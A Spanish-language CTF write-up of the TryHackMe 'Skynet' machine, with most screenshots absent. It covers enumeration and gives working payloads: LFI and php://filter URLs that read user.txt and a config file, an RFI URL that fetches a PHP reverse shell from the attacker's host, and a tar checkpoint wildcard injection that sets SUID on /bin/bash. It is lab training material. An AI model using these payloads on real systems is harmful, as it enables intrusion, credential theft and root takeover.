TryHackMe | Skynet | Write up (#THM) by r1cky_r3x

 

Skynet












Por
Rick Álvarez (aka r1cky_r3x)


Camino hacia el eJPTv2



.





Pre-Configuración TryHackMe





Nota: en ocasiones me sucede que estoy ejecutando cosas y la maquina se me queda colgada, entonces la termino y la vuelvo a iniciar con una nueva IP.


Reconocimiento

Ping, IP y SO: 



Enumeración

Quick Scan



Servicios y versiones

Tenemos 6 puertos, vamos a comenzar por el 80...

Puerto 22


Puerto 139/445

Enumeramos un poco ...

Null session


Tenemos 2 carpetas interesantes:

anonymous


los unicos archivos intereantes...




milesdyson (este pudiera ser un usuario...)


De momento no nos dejo ...


Puerto 80


Fuzzing

Despues de probar estos directorios... tenemos



Hydrazo

Credenciales:


Vamos a entrar al email de milesdyson...


Interesante...vamos a ver si podemos obtener info de samba...


Si le gustó...

Vamos a indagar un poco aquí...

Bien después de un rato encontré el archivo important.txt


Y si vamos a la web...

Vale, hasta este momento no se ve nada, aparentemente... voy a descargar la imagen y analizar la...

bien, le meti un stegseek con algunos diccionarios pero nada funciono...

Vamos a ver ... tal ves fuzzing desde este directorio ...

Se que aquí tenemos un index.html pero ¿Que más habrá?

¿Pero que tenemos aquí?

Vunerabilidades?

Bueno, pues si!

Echándole un vistazo al archivo 25971.txt...

Hacemos una prueba de concepto con /etc/passwd...

Verificando usuarios...

Parece ser que solo tenemos uno... vamos a ver si podemos obtener la primera flag...

OJO utilice este payload...

http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=/home/milesdyson/user.txt

Si le gustó... ahora solo nos falta ganar acceso a la maquina...

...

Obviamente me falta terminar de leer el archivo 25971.txt




Puerto 110


Puerto 143



Explotación

Continuaremos por aquí... 

Según el archivo 25971.txt hay una forma de ver la configuración de la aplicación...

Así como verificamos que tiene la vulnerabilidad el LFI... muy probablemente esta exfiltración de datos de configuración también este presente.. vamos a revisar ...

OJO utilice este payload...

http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php

Veamos...

Decodificamos...

Vale obtuvimos una contraseña pero de base de datos... por lo pronto no podemos acceder desde aquí, pero es buen tenerla en cuenta

Actualizamos nuestro archivo credentials.txt

Casi se me pasa un dato interesante (que de hecho venia como pista en las preguntas de la maquina CTF)


Y esto que significa?

Hagamos una prueba, iniciemos un servidor web en nuestra maquina de kali...

NOTA: intente utilizar una webshell.php sencilla pero no funciono. ..


Ahora utilicemos el siguiente payload...

http://10.201.34.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.22.89/revshell.php

OJO para la revshell utilice el "PHP PentestMonkey" de revshells.com...

Ejecutamos y ....

Por fin!

Vamos a darle tratamiento a la tty...

... 

Y vamos a ver como escalar privilegios...



Post Explotación

Partimos de enumerar un poco el sistema..

Me acorde que tenemos un usuario de base de datos ... vamos a ver que encontramos ...


Tenemos una contraseña muy probablemente hasheada en md5...

...

Una cosa que intente y funciono fue utilizar las credenciales de milesdyson en su:

Desde aquí veremos que podemos hacer ...

...

Despues de jugar un poco e investigando en este foro, como en el directorio actual de milesdyson me encontré que habia una carpeta backup y dentro (con usuario root) un archivo backup.sh y un backup.tar

El backup.sh contiene lo sigguiente...

Mi intuision (por haber descargado sudoers, SUID, archivos readable y writeable del sistema) me dio por leer un articulo que justamente utilizaba a tar cf * para elevar privilegios.

El articulo te lo dejo aquí

Así que me di a la tarea de replicar el poc...

Sin tanto rodeo lo que pretendo es en la carpeta de /var/ww/html/ crear 2 archivos

- "--checkpoint=1"

- "--checkpoint-action=exec=sh privesc.sh"

Y hay que crear el archivo privesc.sh en esta misma ruta con el siguiente contenido:

echo "chmod +s /bin/bash" > privesc.sh

Ahora como era de tal ves suponerse, ese es un job que se ejecuta cada cierto tiempo (esto también me lo decia mi intuisión y se puede comprobar tanto con linpeas.sh como con pspy)

...

Ejecutamos...

Vamos por nuestra bash de propietario...








Bonus

Comprobando el cronjob con pspy

Mandamos nuestro archivo pspy64 a nuestra maquina victima...


Maquina victima...Y ejecutamos...

Esperamos un poco ...

Wow parece navidad!

Se ejecuta en el PID 18509 el tar con todos sus parámetros, entre ellos la ejecución de nuestro archivo privesc.sh... y varias veces...

Es por eso que hemos obtenido nuestra bash con el bit SUID...




Espero esta maquina te halla gustado.

Hasta la proxima.




Comentarios